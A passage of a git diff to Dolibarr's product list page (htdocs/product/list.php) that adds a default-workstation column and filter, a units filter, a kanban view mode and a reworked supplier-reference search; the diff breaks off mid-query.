      '."\n"; diff --git a/htdocs/product/list.php b/htdocs/product/list.php index 47110ac873f..c3464739589 100644 --- a/htdocs/product/list.php +++ b/htdocs/product/list.php @@ -3,7 +3,7 @@ * Copyright (C) 2004-2019 Laurent Destailleur * Copyright (C) 2005-2012 Regis Houssin * Copyright (C) 2012-2016 Marcos García - * Copyright (C) 2013-2019 Juanjo Menent + * Copyright (C) 2013-2023 Juanjo Menent * Copyright (C) 2013-2015 Raphaël Doursenaud * Copyright (C) 2013 Jean Heimburger * Copyright (C) 2013 Cédric Salvador @@ -43,6 +43,7 @@ require_once DOL_DOCUMENT_ROOT.'/core/lib/product.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php'; require_once DOL_DOCUMENT_ROOT.'/product/class/html.formproduct.class.php'; +require_once DOL_DOCUMENT_ROOT.'/workstation/class/workstation.class.php'; if (isModEnabled('categorie')) { require_once DOL_DOCUMENT_ROOT.'/categories/class/categorie.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcategory.class.php'; @@ -69,6 +70,7 @@ $search_ref = GETPOST("search_ref", 'alpha'); $search_ref_supplier = GETPOST("search_ref_supplier", 'alpha'); $search_barcode = GETPOST("search_barcode", 'alpha'); $search_label = GETPOST("search_label", 'alpha'); +$search_default_workstation = GETPOST("search_default_workstation", 'alpha'); $search_type = GETPOST("search_type", 'int'); $search_vatrate = GETPOST("search_vatrate", 'alpha'); $searchCategoryProductOperator = 0; @@ -95,8 +97,11 @@ $search_accountancy_code_buy = GETPOST("search_accountancy_code_buy", 'alpha'); $search_accountancy_code_buy_intra = GETPOST("search_accountancy_code_buy_intra", 'alpha'); $search_accountancy_code_buy_export = GETPOST("search_accountancy_code_buy_export", 'alpha'); $search_finished = GETPOST("search_finished", 'int'); +$search_units = GETPOST('search_units', 'int'); $optioncss = GETPOST('optioncss', 'alpha'); $type = GETPOST("type", "int"); +$mode = GETPOST('mode', 'alpha'); + //Show/hide child products if (isModEnabled('variants') && !empty($conf->global->PRODUIT_ATTRIBUTES_HIDECHILD)) { @@ -176,7 +181,6 @@ if (!empty($conf->global->STOCK_CALCULATE_ON_SHIPMENT) // List of fields to search into when doing a "search in all" $fieldstosearchall = array( 'p.ref'=>"Ref", - 'pfp.ref_fourn'=>"RefSupplier", 'p.label'=>"ProductLabel", 'p.description'=>"Description", "p.note"=>"Note", @@ -190,7 +194,6 @@ if (getDolGlobalInt('MAIN_MULTILANGS')) { } if (isModEnabled('barcode')) { $fieldstosearchall['p.barcode'] = 'Gencod'; - $fieldstosearchall['pfp.barcode'] = 'GencodBuyPrice'; } // Personalized search criterias. Example: $conf->global->PRODUCT_QUICKSEARCH_ON_FIELDS = 'p.ref=ProductRef;p.label=ProductLabel;p.description=Description;p.note=Note;' if (!empty($conf->global->PRODUCT_QUICKSEARCH_ON_FIELDS)) { @@ -212,7 +215,7 @@ $alias_product_perentity = empty($conf->global->MAIN_PRODUCT_PERENTITY_SHARED) ? $arrayfields = array( 'p.rowid'=>array('type'=>'integer', 'label'=>'TechnicalID', 'enabled'=>1, 'visible'=>-2, 'noteditable'=>1, 'notnull'=> 1, 'index'=>1, 'position'=>1, 'comment'=>'Id', 'css'=>'left'), 'p.ref'=>array('label'=>"Ref", 'checked'=>1, 'position'=>10), - //'pfp.ref_fourn'=>array('label'=>$langs->trans("RefSupplier"), 'checked'=>1, 'enabled'=>(!empty($conf->barcode->enabled))), + //'pfp.ref_fourn'=>array('label'=>$langs->trans("RefSupplier"), 'checked'=>1, 'enabled'=>(isModEnabled('barcode'))), 'thumbnail'=>array('label'=>'Photo', 'checked'=>0, 'position'=>10), 'p.label'=>array('label'=>"Label", 'checked'=>1, 'position'=>10), 'p.fk_product_type'=>array('label'=>"Type", 'checked'=>0, 'enabled'=>(isModEnabled("product") && isModEnabled("service")), 'position'=>11), @@ -232,6 +235,7 @@ $arrayfields = array( 'p.volume'=>array('label'=>'Volume', 'checked'=>0, 'enabled'=>(isModEnabled("product") && empty($conf->global->PRODUCT_DISABLE_VOLUME) && $type != '1'), 'position'=>30), 'p.volume_units'=>array('label'=>'VolumeUnits', 'checked'=>0, 'enabled'=>(isModEnabled("product") && empty($conf->global->PRODUCT_DISABLE_VOLUME) && $type != '1'), 'position'=>31), 'cu.label'=>array('label'=>"DefaultUnitToShow", 'checked'=>0, 'enabled'=>(isModEnabled("product") && !empty($conf->global->PRODUCT_USE_UNITS)), 'position'=>32), + 'p.fk_default_workstation'=>array('label'=>'DefaultWorkstation', 'checked'=>0, 'enabled'=>isModEnabled('workstation') && $type == 1, 'position'=>33), 'p.sellprice'=>array('label'=>"SellingPrice", 'checked'=>1, 'enabled'=>empty($conf->global->PRODUIT_MULTIPRICES), 'position'=>40), 'p.tva_tx'=>array('label'=>"VATRate", 'checked'=>0, 'enabled'=>empty($conf->global->PRODUIT_MULTIPRICES), 'position'=>41), 'p.minbuyprice'=>array('label'=>"BuyingPriceMinShort", 'checked'=>1, 'enabled'=>(!empty($user->rights->fournisseur->lire)), 'position'=>42), @@ -333,6 +337,7 @@ if (empty($reshook)) { $search_ref = ""; $search_ref_supplier = ""; $search_label = ""; + $search_default_workstation = ""; $search_barcode = ""; $searchCategoryProductOperator = 0; $searchCategoryProductList = array(); @@ -353,6 +358,7 @@ if (empty($reshook)) { $search_accountancy_code_buy_intra = ''; $search_accountancy_code_buy_export = ''; $search_array_options = array(); + $search_units = ''; } // Mass actions @@ -411,7 +417,10 @@ if ($search_type != '' && $search_type != '-1') { $sql = 'SELECT p.rowid, p.ref, p.label, p.fk_product_type, p.barcode, p.price, p.tva_tx, p.price_ttc, p.price_base_type, p.entity,'; $sql .= ' p.fk_product_type, p.duration, p.finished, p.tosell, p.tobuy, p.seuil_stock_alerte, p.desiredstock,'; -$sql .= ' p.tobatch,'; +$sql .= ' p.tobatch, '; +if (isModEnabled('workstation')) { + $sql .= ' p.fk_default_workstation, ws.status as status_workstation, ws.ref as ref_workstation, '; +} if (empty($conf->global->MAIN_PRODUCT_PERENTITY_SHARED)) { $sql .= " p.accountancy_code_sell, p.accountancy_code_sell_intra, p.accountancy_code_sell_export, p.accountancy_code_buy, p.accountancy_code_buy_intra, p.accountancy_code_buy_export,"; } else { @@ -422,7 +431,7 @@ $sql .= ' p.weight, p.weight_units, p.length, p.length_units, p.width, p.width_u if (!empty($conf->global->PRODUCT_USE_UNITS)) { $sql .= ' p.fk_unit, cu.label as cu_label,'; } -$sql .= ' MIN(pfp.unitprice) as minsellprice'; +$sql .= ' MIN(pfp.unitprice) as bestpurchaseprice'; if (isModEnabled('variants') && (!empty($conf->global->PRODUIT_ATTRIBUTES_HIDECHILD) && !$show_childproducts)) { $sql .= ', pac.rowid as prod_comb_id'; } @@ -436,7 +445,13 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= ' FROM '.MAIN_DB_PREFIX.'product as p'; +if (isModEnabled('workstation')) { + $sql .= " LEFT JOIN " . MAIN_DB_PREFIX . "workstation_workstation ws ON (p.fk_default_workstation = ws.rowid)"; +} if (!empty($conf->global->MAIN_PRODUCT_PERENTITY_SHARED)) { $sql .= " LEFT JOIN " . MAIN_DB_PREFIX . "product_perentity as ppe ON ppe.fk_product = p.rowid AND ppe.entity = " . ((int) $conf->entity); } @@ -459,7 +474,16 @@ if (!empty($conf->global->PRODUCT_USE_UNITS)) { $sql .= ' WHERE p.entity IN ('.getEntity('product').')'; if ($sall) { - $sql .= natural_search(array_keys($fieldstosearchall), $sall); + $sql .= ' AND ('; + $sql .= natural_search(array_keys($fieldstosearchall), $sall, 0, 1); + // Search also into a supplier reference 'pfp.ref_fourn'="RefSupplier" + $sql .= ' OR EXISTS (SELECT rowid FROM '.MAIN_DB_PREFIX.'product_fournisseur_price as pfp WHERE pfp.fk_product = p.rowid'; + $sql .= ' AND ('.natural_search('pfp.ref_fourn', $sall, 0, 1); + if (isModEnabled('barcode')) { + // Search also into a supplier barcode 'pfp.barcode'='GencodBuyPrice'; + $sql .= ' OR '.natural_search('pfp.barcode', $sall, 0, 1); + } + $sql .= ')))'; } // if the type is not 1, we show all products (type = 0,2,3) if (dol_strlen($search_type) && $search_type != '-1') { @@ -483,6 +507,9 @@ if ($search_ref) { if ($search_label) { $sql .= natural_search('p.label', $search_label); } +if ($search_default_workstation) { + $sql .= natural_search('ws.ref', $search_default_workstation); +} if ($search_barcode) { $sql .= natural_search('p.barcode', $search_barcode); } @@ -559,6 +586,9 @@ if ($search_accountancy_code_buy_intra) { if ($search_accountancy_code_buy_export) { $sql .= natural_search($alias_product_perentity . '.accountancy_code_buy_export', $search_accountancy_code_buy_export); } +if (!empty($conf->global->PRODUCT_USE_UNITS) && $search_units) { + $sql .= natural_search('cu.rowid', $search_units); +} // Add where from extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_sql.tpl.php'; // Add where from hooks @@ -577,6 +607,9 @@ $sql .= ' p.weight, p.weight_units, p.length, p.length_units, p.width, p.width_u if (!empty($conf->global->PRODUCT_USE_UNITS)) { $sql .= ', p.fk_unit, cu.label'; } +if (isModEnabled('workstation')) { + $sql .= ', p.fk_default_workstation, ws.status, ws.ref '; +} if (isModEnabled('variants') && (!empty($conf->global->PRODUIT_ATTRIBUTES_HIDECHILD) && !$show_childproducts)) { $sql .= ', pac.rowid'; @@ -595,11 +628,8 @@ $sql .= $hookmanager->resPrint; $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - /* $result = $db->query($sql); - $nbtotalofrecords = $db->num_rows($result); - */ /* The fast and low memory method to get and count full list converts the sql into a sql count */ - $sqlforcount = preg_replace('/^SELECT[a-zA-Z0-9\._\s\(\),=<>\:\-\']+\sFROM/Ui', 'SELECT COUNT(*) as nbtotalofrecords FROM', $sql); + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); $sqlforcount = preg_replace('/'.preg_quote($linktopfp, '/').'/', '', $sqlforcount); $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); $resql = $db->query($sqlforcount); @@ -614,6 +644,7 @@ if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { $page = 0; $offset = 0; } + $db->free($resql); } // Complete request and execute it with limit @@ -664,6 +695,9 @@ if (GETPOST('delprod')) { } $param = ''; +if (!empty($mode)) { + $param = "&mode=".urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -691,6 +725,9 @@ if ($search_barcode) { if ($search_label) { $param .= "&search_label=".urlencode($search_label); } +if ($search_default_workstation) { + $param .= "&search_default_workstation=".urlencode($search_default_workstation); +} if ($search_tosell != '') { $param .= "&search_tosell=".urlencode($search_tosell); } @@ -773,6 +810,9 @@ if (in_array($massaction, array('presend', 'predelete','preaffecttag', 'edit_ext $massactionbutton = $form->selectMassAction('', $arrayofmassactions); $newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); + if ($type === "") { $perm = ($user->rights->produit->creer || $user->rights->service->creer); } elseif ($type == Product::TYPE_SERVICE) { @@ -780,8 +820,8 @@ if ($type === "") { } elseif ($type == Product::TYPE_PRODUCT) { $perm = $user->rights->produit->creer; } -$oldtype = $type; -$params = array(); + $oldtype = $type; + $params = array(); if ($type === "") { $params['forcenohideoftext'] = 1; } @@ -789,13 +829,12 @@ if ($type === "") { $newcardbutton .= dolGetButtonTitle($langs->trans('NewProduct'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/product/card.php?action=create&type=0', '', $perm, $params); $type = Product::TYPE_SERVICE; } -$label = 'NewProduct'; + $label = 'NewProduct'; if ($type == Product::TYPE_SERVICE) { $label = 'NewService'; } -$newcardbutton .= dolGetButtonTitle($langs->trans($label), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/product/card.php?action=create&type='.$type, '', $perm, $params); + $newcardbutton .= dolGetButtonTitle($langs->trans($label), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/product/card.php?action=create&type='.$type, '', $perm, $params); -$type = $oldtype; print '
      '; if ($optioncss != '') { @@ -808,6 +847,8 @@ print ''; print ''; //print ''; print ''; +print ''; + if (empty($arrayfields['p.fk_product_type']['checked'])) { print ''; } @@ -1004,6 +1045,14 @@ if (!empty($arrayfields['p.volume_units']['checked'])) { // Unit if (!empty($arrayfields['cu.label']['checked'])) { print ''; + print $form->selectUnits($search_units, 'search_units', 1); + print ''; +} + +// Default workstation +if (!empty($arrayfields['p.fk_default_workstation']['checked'])) { + print ''; + print ''; print ''; } @@ -1134,13 +1183,13 @@ if (!empty($arrayfields['p.tms']['checked'])) { print ''; } if (!empty($arrayfields['p.tosell']['checked'])) { - print ''; - print $form->selectarray('search_tosell', array('0'=>$langs->trans('ProductStatusNotOnSellShort'), '1'=>$langs->trans('ProductStatusOnSellShort')), $search_tosell, 1); - print ''; + print ''; + print $form->selectarray('search_tosell', array('0'=>$langs->trans('ProductStatusNotOnSellShort'), '1'=>$langs->trans('ProductStatusOnSellShort')), $search_tosell, 1, 0, 0, '', 0, 0, 0, '', 'search_status width100 onrightofpage'); + print ''; } if (!empty($arrayfields['p.tobuy']['checked'])) { - print ''; - print $form->selectarray('search_tobuy', array('0'=>$langs->trans('ProductStatusNotOnBuyShort'), '1'=>$langs->trans('ProductStatusOnBuyShort')), $search_tobuy, 1); + print ''; + print $form->selectarray('search_tobuy', array('0'=>$langs->trans('ProductStatusNotOnBuyShort'), '1'=>$langs->trans('ProductStatusOnBuyShort')), $search_tobuy, 1, 0, 0, '', 0, 0, 0, '', 'search_status width100 onrightofpage'); print ''; } if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { @@ -1222,6 +1271,9 @@ if (!empty($arrayfields['p.volume_units']['checked'])) { if (!empty($arrayfields['cu.label']['checked'])) { print_liste_field_titre($arrayfields['cu.label']['label'], $_SERVER['PHP_SELF'], '', '', $param, '', $sortfield, $sortorder, 'center '); } +if (!empty($arrayfields['p.fk_default_workstation']['checked'])) { + print_liste_field_titre($arrayfields['p.fk_default_workstation']['label'], $_SERVER['PHP_SELF'], 'ws.ref', '', $param, '', $sortfield, $sortorder); +} if (!empty($arrayfields['p.sellprice']['checked'])) { print_liste_field_titre($arrayfields['p.sellprice']['label'], $_SERVER["PHP_SELF"], "", "", $param, '', $sortfield, $sortorder, 'right '); } @@ -1260,7 +1312,7 @@ if (!empty($arrayfields['p.stock']['checked'])) { print_liste_field_titre($arrayfields['p.stock']['label'], $_SERVER["PHP_SELF"], "p.stock", "", $param, '', $sortfield, $sortorder, 'right '); } if (!empty($arrayfields['stock_virtual']['checked'])) { - print_liste_field_titre($arrayfields['stock_virtual']['label'], $_SERVER["PHP_SELF"], "", "", $param, '', $sortfield, $sortorder, 'right '); + print_liste_field_titre($arrayfields['stock_virtual']['label'], $_SERVER["PHP_SELF"], "", "", $param, '', $sortfield, $sortorder, 'right ', 'VirtualStockDesc'); } if (!empty($arrayfields['p.tobatch']['checked'])) { print_liste_field_titre($arrayfields['p.tobatch']['label'], $_SERVER["PHP_SELF"], "p.tobatch", "", $param, '', $sortfield, $sortorder, 'center '); @@ -1313,13 +1365,16 @@ if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { print "\n"; + $product_static = new Product($db); +$static_ws = new Workstation($db); $product_fourn = new ProductFournisseur($db); $i = 0; $totalarray = array(); $totalarray['nbfield'] = 0; -while ($i < min($num, $limit)) { +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { $obj = $db->fetch_object($resql); // Multilangs @@ -1339,641 +1394,682 @@ while ($i < min($num, $limit)) { } } - $product_static->id = $obj->rowid; - $product_static->ref = $obj->ref; - $product_static->ref_fourn = empty($obj->ref_supplier) ? '' : $obj->ref_supplier; // deprecated - $product_static->ref_supplier = empty($obj->ref_supplier) ? '' : $obj->ref_supplier; - $product_static->label = $obj->label; - $product_static->finished = $obj->finished; - $product_static->type = $obj->fk_product_type; - $product_static->status_buy = $obj->tobuy; - $product_static->status = $obj->tosell; - $product_static->status_batch = $obj->tobatch; - $product_static->entity = $obj->entity; - $product_static->pmp = $obj->pmp; - $product_static->accountancy_code_sell = $obj->accountancy_code_sell; - $product_static->accountancy_code_sell_export = $obj->accountancy_code_sell_export; - $product_static->accountancy_code_sell_intra = $obj->accountancy_code_sell_intra; - $product_static->accountancy_code_buy = $obj->accountancy_code_buy; - $product_static->accountancy_code_buy_intra = $obj->accountancy_code_buy_intra; - $product_static->accountancy_code_buy_export = $obj->accountancy_code_buy_export; - $product_static->length = $obj->length; - $product_static->length_units = $obj->length_units; - $product_static->width = $obj->width; - $product_static->width_units = $obj->width_units; - $product_static->height = $obj->height; - $product_static->height_units = $obj->height_units; - $product_static->weight = $obj->weight; - $product_static->weight_units = $obj->weight_units; - $product_static->volume = $obj->volume; - $product_static->volume_units = $obj->volume_units; - $product_static->surface = $obj->surface; - $product_static->surface_units = $obj->surface_units; - if (!empty($conf->global->PRODUCT_USE_UNITS)) { - $product_static->fk_unit = $obj->fk_unit; - } + $parameters = array('staticdata' => $obj); + // Note that $action and $object may have been modified by hook + // do product_static fetch in hook if wanted or anything else + $reshook = $hookmanager->executeHooks('loadStaticObject', $parameters, $product_static, $action); + if (empty($reshook)) { + $product_static->id = $obj->rowid; + $product_static->ref = $obj->ref; + $product_static->ref_fourn = empty($obj->ref_supplier) ? '' : $obj->ref_supplier; // deprecated + $product_static->ref_supplier = empty($obj->ref_supplier) ? '' : $obj->ref_supplier; + $product_static->label = $obj->label; + $product_static->barcode = $obj->barcode; + $product_static->finished = $obj->finished; + $product_static->type = $obj->fk_product_type; + $product_static->status_buy = $obj->tobuy; + $product_static->status = $obj->tosell; + $product_static->status_batch = $obj->tobatch; + $product_static->entity = $obj->entity; + $product_static->pmp = $obj->pmp; + $product_static->accountancy_code_sell = $obj->accountancy_code_sell; + $product_static->accountancy_code_sell_export = $obj->accountancy_code_sell_export; + $product_static->accountancy_code_sell_intra = $obj->accountancy_code_sell_intra; + $product_static->accountancy_code_buy = $obj->accountancy_code_buy; + $product_static->accountancy_code_buy_intra = $obj->accountancy_code_buy_intra; + $product_static->accountancy_code_buy_export = $obj->accountancy_code_buy_export; + $product_static->length = $obj->length; + $product_static->length_units = $obj->length_units; + $product_static->width = $obj->width; + $product_static->width_units = $obj->width_units; + $product_static->height = $obj->height; + $product_static->height_units = $obj->height_units; + $product_static->weight = $obj->weight; + $product_static->weight_units = $obj->weight_units; + $product_static->volume = $obj->volume; + $product_static->volume_units = $obj->volume_units; + $product_static->surface = $obj->surface; + $product_static->surface_units = $obj->surface_units; + if (!empty($conf->global->PRODUCT_USE_UNITS)) { + $product_static->fk_unit = $obj->fk_unit; + } - // STOCK_DISABLE_OPTIM_LOAD can be set to force load_stock whatever is permissions on stock. - if ((isModEnabled('stock') && $user->rights->stock->lire && $search_type != 1) || !empty($conf->global->STOCK_DISABLE_OPTIM_LOAD)) { // To optimize call of load_stock - if ($obj->fk_product_type != 1 || !empty($conf->global->STOCK_SUPPORTS_SERVICES)) { // Not a service - $option = 'nobatch'; - if (empty($arrayfields['stock_virtual']['checked'])) { - $option .= ',novirtual'; + // STOCK_DISABLE_OPTIM_LOAD can be set to force load_stock whatever is permissions on stock. + if ((isModEnabled('stock') && $user->rights->stock->lire && $search_type != 1) || !empty($conf->global->STOCK_DISABLE_OPTIM_LOAD)) { // To optimize call of load_stock + if ($product_static->type != 1 || !empty($conf->global->STOCK_SUPPORTS_SERVICES)) { // Not a service + $option = 'nobatch'; + if (empty($arrayfields['stock_virtual']['checked'])) { + $option .= ',novirtual'; + } + $product_static->load_stock($option); // Load stock_reel + stock_warehouse. This can also call load_virtual_stock() } - $product_static->load_stock($option); // Load stock_reel + stock_warehouse. This can also call load_virtual_stock() } } + $usercancreadprice = getDolGlobalString('MAIN_USE_ADVANCED_PERMS')?$user->hasRight('product', 'product_advance', 'read_prices'):$user->hasRight('product', 'lire'); if ($product_static->isService()) { $usercancreadprice = getDolGlobalString('MAIN_USE_ADVANCED_PERMS')?$user->hasRight('service', 'service_advance', 'read_prices'):$user->hasRight('service', 'lire'); } + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + print '
      '; + } + $product_static->price = $obj->price; + // Output Kanban + print $product_static->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print '
      '; + print ''; + } + } else { + print ''; - print ''; - - // Action column - if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($obj->rowid, $arrayofselected)) { - $selected = 1; + // Action column + if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->rowid, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print ''; + if (!$i) { + $totalarray['nbfield']++; } - print ''; } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Ref - if (!empty($arrayfields['p.rowid']['checked'])) { - print ''; - print $product_static->id; - print "\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Ref - if (!empty($arrayfields['p.ref']['checked'])) { - print ''; - print $product_static->getNomUrl(1); - print "\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Ref supplier - if (!empty($arrayfields['pfp.ref_fourn']['checked'])) { - print ''; - print $product_static->getNomUrl(1); - print "\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Thumbnail - if (!empty($arrayfields['thumbnail']['checked'])) { - $product_thumbnail_html = ''; - if (!empty($product_static->entity)) { - $product_thumbnail = $product_static->show_photos('product', $conf->product->multidir_output[$product_static->entity], 1, 1, 0, 0, 0, 80); - if ($product_static->nbphoto > 0) { - $product_thumbnail_html = $product_thumbnail; + // Rowid + if (!empty($arrayfields['p.rowid']['checked'])) { + print ''; + print $product_static->id; + print "\n"; + if (!$i) { + $totalarray['nbfield']++; } } - print '' . $product_thumbnail_html . ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Label - if (!empty($arrayfields['p.label']['checked'])) { - print ''.$obj->label.''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Type - if (!empty($arrayfields['p.fk_product_type']['checked'])) { - print ''; - $s = ''; - if ($obj->fk_product_type == 0) { - $s .= img_picto($langs->trans("Product"), 'product', 'class="paddingleftonly paddingrightonly colorgrey"'); - } else { - $s .= img_picto($langs->trans("Service"), 'service', 'class="paddingleftonly paddingrightonly colorgrey"'); - } - print $s; - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Barcode - if (!empty($arrayfields['p.barcode']['checked'])) { - print ''.$obj->barcode.''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Duration - if (!empty($arrayfields['p.duration']['checked'])) { - print ''; - - if (preg_match('/([^a-z]+)[a-z]$/i', $obj->duration)) { - $duration_value = substr($obj->duration, 0, dol_strlen($obj->duration) - 1); - $duration_unit = substr($obj->duration, -1); - - if ((float) $duration_value > 1) { - $dur = array("i"=>$langs->trans("Minutes"), "h"=>$langs->trans("Hours"), "d"=>$langs->trans("Days"), "w"=>$langs->trans("Weeks"), "m"=>$langs->trans("Months"), "y"=>$langs->trans("Years")); - } elseif ((float) $duration_value > 0) { - $dur = array("i"=>$langs->trans("Minute"), "h"=>$langs->trans("Hour"), "d"=>$langs->trans("Day"), "w"=>$langs->trans("Week"), "m"=>$langs->trans("Month"), "y"=>$langs->trans("Year")); + // Ref + if (!empty($arrayfields['p.ref']['checked'])) { + print ''; + print $product_static->getNomUrl(1); + print "\n"; + if (!$i) { + $totalarray['nbfield']++; } - print $duration_value; - print ((!empty($duration_unit) && isset($dur[$duration_unit]) && $duration_value != '') ? ' '.$langs->trans($dur[$duration_unit]) : ''); - } elseif (!preg_match('/^[a-z]$/i', $obj->duration)) { // If duration is a simple char (like 's' of 'm'), we do not show value - print $obj->duration; } - print ''; - if (!$i) { - $totalarray['nbfield']++; + // Ref supplier + if (!empty($arrayfields['pfp.ref_fourn']['checked'])) { + print ''; + print $product_static->getNomUrl(1); + print "\n"; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // Finished - if (!empty($arrayfields['p.finished']['checked'])) { - print ''; - print $product_static->getLibFinished(); - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } + // Thumbnail + if (!empty($arrayfields['thumbnail']['checked'])) { + $product_thumbnail_html = ''; + if (!empty($product_static->entity)) { + $product_thumbnail = $product_static->show_photos('product', $conf->product->multidir_output[$product_static->entity], 1, 1, 0, 0, 0, 80); + if ($product_static->nbphoto > 0) { + $product_thumbnail_html = $product_thumbnail; + } + } - // Weight - if (!empty($arrayfields['p.weight']['checked'])) { - print ''; - print $obj->weight; - print ''; - if (!$i) { - $totalarray['nbfield']++; + print '' . $product_thumbnail_html . ''; + if (!$i) { + $totalarray['nbfield']++; + } } - } - // Weight units - if (!empty($arrayfields['p.weight_units']['checked'])) { - print ''; - if ($product_static->weight != '') { - print measuringUnitString(0, 'weight', $product_static->weight_units); - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Length - if (!empty($arrayfields['p.length']['checked'])) { - print ''; - print $obj->length; - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Length units - if (!empty($arrayfields['p.length_units']['checked'])) { - print ''; - if ($product_static->length != '') { - print measuringUnitString(0, 'size', $product_static->length_units); - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Width - if (!empty($arrayfields['p.width']['checked'])) { - print ''; - print $obj->width; - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Width units - if (!empty($arrayfields['p.width_units']['checked'])) { - print ''; - if ($product_static->width != '') { - print measuringUnitString(0, 'size', $product_static->width_units); - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Height - if (!empty($arrayfields['p.height']['checked'])) { - print ''; - print $obj->height; - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Height units - if (!empty($arrayfields['p.height_units']['checked'])) { - print ''; - if ($product_static->height != '') { - print measuringUnitString(0, 'size', $product_static->height_units); - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Surface - if (!empty($arrayfields['p.surface']['checked'])) { - print ''; - print $obj->surface; - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Surface units - if (!empty($arrayfields['p.surface_units']['checked'])) { - print ''; - if ($product_static->surface != '') { - print measuringUnitString(0, 'surface', $product_static->surface_units); - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Volume - if (!empty($arrayfields['p.volume']['checked'])) { - print ''; - print $obj->volume; - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Volume units - if (!empty($arrayfields['p.volume_units']['checked'])) { - print ''; - if ($product_static->volume != '') { - print measuringUnitString(0, 'volume', $product_static->volume_units); - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Unit - if (!empty($arrayfields['cu.label']['checked'])) { - print ''; - if (!empty($obj->cu_label)) { - print $langs->trans($obj->cu_label); - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Sell price - if (!empty($arrayfields['p.sellprice']['checked'])) { - print ''; - if ($obj->tosell && $usercancreadprice) { - if ($obj->price_base_type == 'TTC') { - print ''.price($obj->price_ttc).' '.$langs->trans("TTC").''; + // Label + if (!empty($arrayfields['p.label']['checked'])) { + print ''.$product_static->label.''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Type + if (!empty($arrayfields['p.fk_product_type']['checked'])) { + print ''; + $s = ''; + if ($product_static->type == 0) { + $s .= img_picto($langs->trans("Product"), 'product', 'class="paddingleftonly paddingrightonly colorgrey"'); } else { - print ''.price($obj->price).' '.$langs->trans("HT").''; + $s .= img_picto($langs->trans("Service"), 'service', 'class="paddingleftonly paddingrightonly colorgrey"'); + } + print $s; + print ''; + if (!$i) { + $totalarray['nbfield']++; } } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Multiprices - if (!empty($conf->global->PRODUIT_MULTIPRICES)) { - if (! isset($productpricescache)) { - $productpricescache=array(); - } - if (! isset($productpricescache[$obj->rowid])) { - $productpricescache[$obj->rowid] = array(); + // Barcode + if (!empty($arrayfields['p.barcode']['checked'])) { + print ''.$product_static->barcode.''; + if (!$i) { + $totalarray['nbfield']++; + } } - if ($obj->tosell && $usercancreadprice) { - // Make 1 request for all price levels (without filter on price_level) and saved result into an cache array - // then reuse the cache array if we need prices for other price levels - $sqlp = "SELECT p.rowid, p.fk_product, p.price, p.price_ttc, p.price_level, p.date_price, p.price_base_type"; - $sqlp .= " FROM ".MAIN_DB_PREFIX."product_price as p"; - $sqlp .= " WHERE 